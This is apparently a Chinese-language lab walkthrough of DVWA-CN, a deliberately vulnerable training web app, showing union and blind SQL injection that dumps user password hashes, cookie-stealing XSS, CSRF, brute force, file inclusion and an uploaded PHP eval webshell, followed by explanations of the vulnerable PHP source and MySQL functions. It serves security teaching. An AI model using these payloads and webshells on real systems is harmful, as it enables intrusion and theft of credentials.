Table of Contents

编码规则

- url编码

```
%20='='

%23='#'

%27='''

%C8%B7%B6%A8='gb2312(确定)'
```

- ascii编码

```
0x3a=':'

CHAR(32,58,32)=('空格',':','空格')
```

漏洞**1: SQL** 注入

测试方法：

> 点击获取数据库基本信息

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%201,CONCAT_WS(CHAR(32,58,32),user
(),database(),version())%20%23&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: -1' UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) #
First name: 1
Surname: root@localhost : dvwacn : 5.5.41-0ubuntu0.14.04.1-log
```

> 点击获取数据库所有表

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%201,concat(table_name)%20from%20i
nformation_schema.tables%20where%20table_schema=database()%20%23&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: -1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: guestbook

ID: -1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: users
```

> 点击获取users表的字段

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%201,concat(column_name)%20from%20
information_schema.columns%20where%20table_name=0x7573657273%20%23&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: user_id

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: first_name

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: last_name

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: user

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: password

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: avatar

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: last_login

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: failed_login

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: id

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: uuid

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: name

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: slug

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: email

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: image

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
```

```
Surname: cover

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: bio

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: website

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: location

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: accessibility

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: status

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: language

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: meta_title

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: meta_description

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: tour

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: created_at

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: created_by

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: updated_at

ID: -1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: updated_by
```

> 点击获取users表的内容

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%201,concat(user,0x3a,password)%20from%20users%20%23&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: admin:21232f297a57a5a743894a0e4a801fc3

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: gordonb:e99a18c428cb38d5f260853678922e03

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: 1337:8d3533d75ae2c3966d7e0d4fcc69216b

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: pablo:0d107d09f5bbe40cade3de5c71e9e9b7

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

漏洞**2: SQL** 盲注

测试方法：

> 测试是否有注入,对比页面返回 1=1

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%201=1%20and%20%271%27=%271&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: 1' and 1=1 and '1'='1
First name: admin
Surname: admin
```

> 测试是否有注入,对比页面返回 1=2

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%201=2%20and%20%271%27=%271&Submit=%C8%B7%B6%A8
```

页面返回:

```
空白
```

> 测试数据库版本,有数据说明数据库版本为5.0

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(version(),1)=5%20and%20%271%27=%271&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: 1' and left(version(),1)=5 and '1'='1
First name: admin
```

```
Surname: admin
```

> 测试数据库长度,有数据说明长度正确

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20length(database())=6%20and%20%271%27=
%271&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: 1' and length(database())=6 and '1'='1
First name: admin
Surname: admin
```

> 测试数据库名称第1个字符

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),1)=%27d%27%20and%20%2
71%27=%271&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: 1' and left(database(),1)='d' and '1'='1
First name: admin
Surname: admin
```

> 测试数据库名称第2个字符

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),2)=%27dv%27%20and%20%
271%27=%271&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: 1' and left(database(),2)='dv' and '1'='1
First name: admin
Surname: admin
```

> 测试数据库名称第3个字符

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),3)=%27dvw%27%20and%20
%271%27=%271&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: 1' and left(database(),3)='dvw' and '1'='1
First name: admin
Surname: admin
```

> 测试数据库名称第4个字符

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),4)=%27dvwa%27%20and%2
0%271%27=%271&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: 1' and left(database(),4)='dvwa' and '1'='1
First name: admin
Surname: admin
```

> 测试数据库名称第5个字符

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),5)=%27dvwac%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: 1' and left(database(),5)='dvwac' and '1'='1
First name: admin
Surname: admin
```

> 测试数据库名称第6个字符

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),6)=%27dvwacn%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8
```

页面返回:

```
ID: 1' and left(database(),6)='dvwacn' and '1'='1
First name: admin
Surname: admin
```

漏洞**3:** 反射型跨站

测试方法：

```
http://192.168.56.80/dvwacn/vulnerabilities/xss_r/?name=%3Cscript%3Ealert('xss')%3C/script%3E
```

页面返回:

```
xss
```

```
http://192.168.56.80/dvwacn/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(document.cookie)%3C/script%3E
```

页面返回:

```
security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
```

漏洞**4:** 存储型跨站

测试方法：

用户输入:

```
用户名：xss

信 息：<script>alert('xss')</script>
```

捕获的http数据包：

```
POST /dvwacn/vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/xss_s/
Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

txtName=xss&mtxMessage=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&btnSign=%B7%A2%CB%CD%CF%FB%CF%A2
```

页面返回:

```
xss
```

用户输入:

```
用户名：xss

信 息：<script>alert(document.cookie)</script>
```

捕获的http数据包：

```
POST /dvwacn/vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/xss_s/
Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

txtName=xss&mtxMessage=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&btnSign=%B7%A2%CB%CD%CF%FB%CF%A2
```

页面返回:

```
security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
```

漏洞**5:** 跨站请求伪造 **(CSRF)**

测试方法：

用户输入:

```
请输入新密码: admin

请再输入一次: admin
```

捕获的http数据包：

```
GET /dvwacn/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=%B8%FC%B8%C4 HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/csrf/
Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
Connection: close
```

页面返回：

```
密码已更改。
```

漏洞**6:** 暴力破解

测试方法：

http://192.168.56.80/dvwacn/vulnerabilities/brute/

用户输入：

```
用户名：admin

密码：12345
```

```
http://192.168.56.80/dvwacn/vulnerabilities/brute/?username=admin&password=12345&Login=%B5%C7%C2%BD#
```

页面返回：

```
用户名或者密码错误。
```

暴力破解密码（变量password=§12345§）

```
GET /dvwacn/vulnerabilities/brute/?username=admin&password=§12345§&Login=%B5%C7%C2%BD HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/brute/?username=admin&password=1&Login=%B5%C7%C2%BD
Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
Connection: close
```

状态

```
payload admin
status 200
length 6291
```

页面返回：

```
登陆成功，您可以进行其他操作。admin
```

漏洞**7:** 代码执行

测试方法：

用户输入：

```
请在下面文本框中输入一个ip地址: 8.8.8.8
```

捕获数据包：

```
POST /dvwacn/vulnerabilities/exec/ HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/exec/
Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

ip=8.8.8.8&submit=%C8%B7%B6%A8
```

页面返回：

```
PING 202.106.0.20 (202.106.0.20) 56(84) bytes of data.

--- 202.106.0.20 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 1999ms
```

漏洞**8:** 不安全的验证码

测试方法：

用户点击：

```
单击我测试
```

捕获的http数据包：

```
POST /dvwacn/vulnerabilities/captcha/ HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/captcha/
Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
```

```
step=2&password_new=admin888&password_conf=admin888&Change=%B5%A5%BB%F7%CE%D2%B2%E2%CA%D4
```

页面返回：

```
密码已更改。
```

漏洞**9:** 文件包含

测试方法：

```
http://192.168.56.80/dvwacn/vulnerabilities/fi/?page=../../phpinfo.php
```

页面返回：

```
phpinfo信息
```

```
http://192.168.56.80/dvwacn/vulnerabilities/fi/?page=../../include.txt
```

页面返回：

```
here is file inclution test!!!!!! code is excute here
```

漏洞**10:** 文件上传

> 引用：
>
> sql注入漏洞上传文件:

```
select '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/mm.php'
```

测试方法：

用户点击：

```
浏览-->mm.php-->上传
```

mm.php内容：

```
<?php @eval($_POST[cmd]);?>
```

页面返回；

```
../../hackable/uploads/mm.php上传成功!
```

木马url：

```
http://192.168.56.80/dvwacn/hackable/uploads/mm.php
```

本地利用文件：

local.html

内容：

```
<html>
<body>
<form action="http://192.168.56.80/dvwacn/hackable/uploads/mm.php" method="post">
<input type="text" name="cmd" value="phpinfo();">
<input type="submit" value="submit">
</form>
</body>
</html>
```

访问local.html

输入：

```
$output = shell_exec('pwd');echo "<pre>$output</pre>";
```

输出：

```
/var/www/dvwacn/hackable/uploads
```

输入：

```
$output = shell_exec('ls -lh');echo "<pre>$output</pre>";
```

输出：

```
total 4.0K
-rw-r--r-- 1 www-data www-data 27 Jul 18 17:07 mm.php
```

漏洞**11: WebServices** 命令执行

测试方法：

> 使用BurpSuite配合测试

用户输入：

```
请在下面文本框中输入一个ip地址: 8.8.8.8
```

捕获的http数据包：

```
POST /dvwacn/vulnerabilities/ws-exec/ws-commandinj.php HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset="utf-8"
X-Requested-With: XMLHttpRequest
Referer: http://192.168.56.80/dvwacn/vulnerabilities/ws-exec/
Content-Length: 292
Cookie: security=low; PHPSESSID=qbi7g6m5rp94phgcgc7g7681b7
Connection: close
```

```
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSch
ema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pingAddressLow xmlns="http://localhos
t"><address>8.8.8.8</address></pingAddressLow></soap:Body></soap:Envelope>
```

返回的数据包：

```
HTTP/1.1 200 OK
Date: Mon, 18 Jul 2016 09:16:36 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.8
X-SOAP-Server: NuSOAP/0.9.5 (1.123)
Vary: Accept-Encoding
Content-Length: 518
Connection: close
Content-Type: text/xml; charset=gb2312

<?xml version="1.0" encoding="gb2312"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/
soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/
XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/s
oap/encoding/"><SOAP-ENV:Body><ns1:pingAddressLowResponse xmlns:ns1="http://localhost"><return xsi:type="xsd:
string"></return></ns1:pingAddressLowResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
```

dvwacn之一sql注入

dvwacn之sqli物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/sqli/source# ls

high.php  low.php  medium.php
```

安全级别

- low.php

```
<?php

if(isset($_GET['Submit'])){

    // Retrieve data

    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

    $num = mysql_numrows($result);

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");

        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';

        $i++;
    }
}
?>
```

- medium.php

```
<?php

if (isset($_GET['Submit'])) {

    // Retrieve data

    $id = $_GET['id'];
    $id = mysql_real_escape_string($id);

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
```

```
    $num = mysql_numrows($result);

    $i=0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");

        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';

        $i++;
    }
}
?>
```

- high.php

```
<?php

if (isset($_GET['Submit'])) {

    // Retrieve data

    $id = $_GET['id'];
    $id = stripslashes($id);
    $id = mysql_real_escape_string($id);

    if (is_numeric($id)){

        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

        $num = mysql_numrows($result);

        $i=0;

        while ($i < $num) {

            $first = mysql_result($result,$i,"first_name");
            $last = mysql_result($result,$i,"last_name");

            $html .= '<pre>';
            $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
            $html .= '</pre>';

            $i++;
        }
    }
}
?>
```

获取数据库基本信息

实际的查询语句是

```
SELECT first_name, last_name FROM users WHERE user_id = '$id'
```

sql注入url地址

http://192.168.56.80/dvwacn/vulnerabilities/sqli/

用户ID输入：

```
id=-1' UNION SELECT 1, CONCAT_WS(CHAR(32,58,32),user(),database(),version())#
```

实际上拼接的sql语句是：

```
SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT 1, CONCAT_WS(CHAR(32,58,32),user(),d
atabase(),version())#'
```

> 上面 `1'` 后面的单引号作用是闭合 `user_id = '$id` '中的单引号, `#` 号的作用是注释 `user_id = '$id'` 中原有的后面的单引号

完整的sql注入url

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%201,%20CONCAT_WS(CHAR(32,58,32),u
ser(),database(),version())%23&Submit=%E7%A1%AE%E5%AE%9A
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1' UNION SELECT 1, CONCAT_WS(CHAR(32,58,32),user(),data
base(),version())#&Submit=确定
```

符号说明

- `'` =单引号

双引号里面的字段会经过编译器解释然后再当作HTML代码输出

单引号里面的不需要解释，直接输出

- `#` =单行注释符

UNION

联合的意思，即把两次或多次查询结果合并起来。

用于合并两个或多个 SELECT 语句的结果集，并消去表中任何重复行。

UNION 内部的 SELECT 语句必须拥有相同数量的列，列也必须拥有相似的数据类型。

同时，每条 SELECT 语句中的列的顺序必须相同.

SQL UNION 语法：

```
SELECT column_name FROM table1
UNION
SELECT column_name FROM table2
```

CONCAT()函数

CONCAT（）函数用于将多个字符串连接成一个字符串，是最重要的mysql函数之一

用法：

```
mysql CONCAT(str1,str2,…)
```

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ，则返回值为 NULL。或许有一个或多个参数。 如果所有参数均为非二进制字符串，则结果为非二进制字符串。 如果自变量中含有任一二进制字符串，则结果为一个二进制字符串。一个数字参数被转化为与之相等的二进制字符串格式；若要避免这种情况，可使用显式类型 cast, 例如： SELECT CONCAT(CAST(int_col AS CHAR), char_col)

```
mysql> SELECT CONCAT('My', 'S', 'QL');

+-------------------------+
| CONCAT('My', 'S', 'QL') |
+-------------------------+
| MySQL                   |
+-------------------------+
1 row in set (0.00 sec)

mysql> SELECT CONCAT('My', NULL, 'QL');

+--------------------------+
| CONCAT('My', NULL, 'QL') |
+--------------------------+
| NULL                     |
+--------------------------+
1 row in set (0.00 sec)

mysql> SELECT CONCAT(14.3);

+--------------+
| CONCAT(14.3) |
+--------------+
| 14.3         |
+--------------+
1 row in set (0.00 sec)
```

CONCAT_WS()函数

CONCAT_WS() 代表 CONCAT With Separator ， 是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串，也可以是其它参数。

用法：

```
CONCAT_WS(separator,str1,str2,…)
```

注意：

如果分隔符为 NULL，则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。

如连接后以逗号分隔

```
mysql> select concat_ws(',','1','2','3');
+-------------------------------+
| concat_ws(',','1','2','3') |
+-------------------------------+
| 1,2,3  |
+-------------------------------+
1 row in set (0.00 sec)
```

和MySQL中concat函数不同的是, concat_ws函数在执行的时候,不会因为NULL值而返回NULL

```
mysql> select concat_ws(',','1','2',NULL);
+-------------------------------+
| concat_ws(',','1','2',NULL) |
+-------------------------------+
| 1,2 |
+-------------------------------+
1 row in set (0.00 sec)
```

CHAR()字符串函数

```
mysql> select ASCII(' ');
+------------+
| ASCII(' ') |
+------------+
|         32 |
+------------+
1 row in set (0.00 sec)


mysql> select ASCII(':');
+------------+
| ASCII(':') |
+------------+
|         58 |
+------------+
1 row in set (0.00 sec)
```

```
mysql> select CHAR(32);
+----------+
| CHAR(32) |
+----------+
|          |
+----------+
1 row in set (0.00 sec)


mysql> select CHAR(32,58,32);
+----------------+
| CHAR(32,58,32) |
+----------------+
|  :             |
+----------------+
1 row in set (0.00 sec)
```

- CHAR(32)=空格
- CHAR(32,58,32)=空格:空格

```
mysql> select ASCII('|');
+------------+
| ASCII('|') |
+------------+
|        124 |
+------------+
```

```
1 row in set (0.00 sec)

mysql>
```

mysql中的查询结果

```
mysql> SELECT first_name, last_name FROM users WHERE user_id =1;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

mysql>
```

```
mysql> SELECT 1,CONCAT_WS(CHAR(124),user(),database(),version());
+---+-----------------------------------------------+
| 1 | CONCAT_WS(CHAR(124),user(),database(),version())  |
+---+-----------------------------------------------+
| 1 | root@localhost|dvwacn|5.5.41-0ubuntu0.14.04.1-log |
+---+-----------------------------------------------+
1 row in set (0.00 sec)

mysql>
```

- user_id = '1'

```
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT 1,CONCAT_WS(CHAR(124),user(),
database(),version());
+------------+-----------------------------------------------+
| first_name | last_name                                     |
+------------+-----------------------------------------------+
| admin      | admin                                         |
| 1          | root@localhost|dvwacn|5.5.41-0ubuntu0.14.04.1-log |
+------------+-----------------------------------------------+
2 rows in set (0.00 sec)

mysql>
```

- user_id = '-1'

```
SELECT first_name, last_name FROM users WHERE user_id = '-1' UNION SELECT 1,CONCAT_WS(CHAR(124),user(),databa
se(),version());

mysql> SELECT first_name, last_name FROM users WHERE user_id = '-1' UNION SELECT 1,CONCAT_WS(CHAR(124),user()
,database(),version());
+------------+-----------------------------------------------+
| first_name | last_name                                     |
+------------+-----------------------------------------------+
| 1          | root@localhost|dvwacn|5.5.41-0ubuntu0.14.04.1-log |
+------------+-----------------------------------------------+
1 row in set (0.00 sec)

mysql>
```

url中的查询结果

- user_id = '1'

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=1%27+UNION+SELECT+1%2CCONCAT_WS%28CHAR%28124%29%2Cuser%28%29%2Cdatabase%28%29%2Cversion%28%29%29%23%27&Submit=%C8%B7%B6%A8#

```
ID: 1' UNION SELECT 1,CONCAT_WS(CHAR(124),user(),database(),version())#'
First name: admin
Surname: admin

ID: 1' UNION SELECT 1,CONCAT_WS(CHAR(124),user(),database(),version())#'
First name: 1
Surname: root@localhost|dvwacn|5.5.41-0ubuntu0.14.04.1-log
```

- user_id = '-1'

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27+UNION+SELECT+1%2CCONCAT_WS%28CHAR%28124%29%2Cuser%28%29%2Cdatabase%28%29%2Cversion%28%29%29%23%27&Submit=%C8%B7%B6%A8#

```
ID: -1' UNION SELECT 1,CONCAT_WS(CHAR(124),user(),database(),version())#'
First name: 1
Surname: root@localhost|dvwacn|5.5.41-0ubuntu0.14.04.1-log
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1' UNION SELECT 1,CONCAT_WS(CHAR(124),user(),database()
,version())#'&Submit=确定
```

获取当前数据库所有表

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%201,concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23&Submit=%C8%B7%B6%A8

```
ID: -1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: guestbook

ID: -1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: users
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1' UNION SELECT 1,concat(table_name) from information_s
chema.tables where table_schema=database() #&Submit=确定
```

mysql中的查询结果：

```
mysql> SELECT 1,concat(table_name) from information_schema.tables where table_schema=database();
+---+--------------------+
| 1 | concat(table_name) |
+---+--------------------+
```

```
| 1 | guestbook          |
| 1 | users              |
+---+--------------------+
2 rows in set (0.00 sec)
```

table_name

table_name指的是当前数据库的表名

information_schema库

查询看看库里有多少个表，表名等

```
select * from INFORMATION_SCHEMA.TABLES
```

`information_schema.tables` 这张数据表保存了MySQL服务器所有数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等。再简单点，这台MySQL服务器上，到底有哪些数据库、各个数据库有哪些表，每张表的字段类型是什么，各个数据库要什么权限才能访问，等等信息都保存在information_schema.tables表里面。

Mysql的INFORMATION_SCHEMA数据库包含了一些表和视图，提供了访问数据库元数据的方式。

元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

下面对一些重要的数据字典表做一些说明：

- SCHEMATA表：提供了关于数据库的信息。
- TABLES表：给出了关于数据库中的表的信息。
- COLUMNS表：给出了表中的列信息。
- STATISTICS表：给出了关于表索引的信息。
- USER_PRIVILEGES表：给出了关于全程权限的信息。该信息源自mysql.user授权表。
- SCHEMA_PRIVILEGES表：给出了关于方案（数据库）权限的信息。该信息来自mysql.db授权表。
- TABLE_PRIVILEGES表：给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。
- COLUMN_PRIVILEGES表：给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。
- CHARACTER_SETS表：提供了关于可用字符集的信息。
- COLLATIONS表：提供了关于各字符集的对照信息。
- COLLATION_CHARACTER_SET_APPLICABILITY表：指明了可用于校对的字符集。
- TABLE_CONSTRAINTS表：描述了存在约束的表。
- KEY_COLUMN_USAGE表：描述了具有约束的键列。
- ROUTINES表：提供了关于存储子程序（存储程序和函数）的信息。此时，ROUTINES表不包含自定义函数（UDF）。
- VIEWS表：给出了关于数据库中的视图的信息。
- TRIGGERS表：提供了关于触发程序的信息。

系统信息函数

- VERSION()返回数据库的版本号

- CONNECTION_ID()返回服务器的连接数，也就是到现在为止mysql服务的连接次数
- DATABASE(),SCHEMA()返回当前数据库名
- USER()返回当前用户的名称
- CHARSET(str)返回字符串str的字符集
- COLLATION(str)返回字符串str的字符排列方式
- LAST_INSERT_ID()返回最后生成的auto_increment值

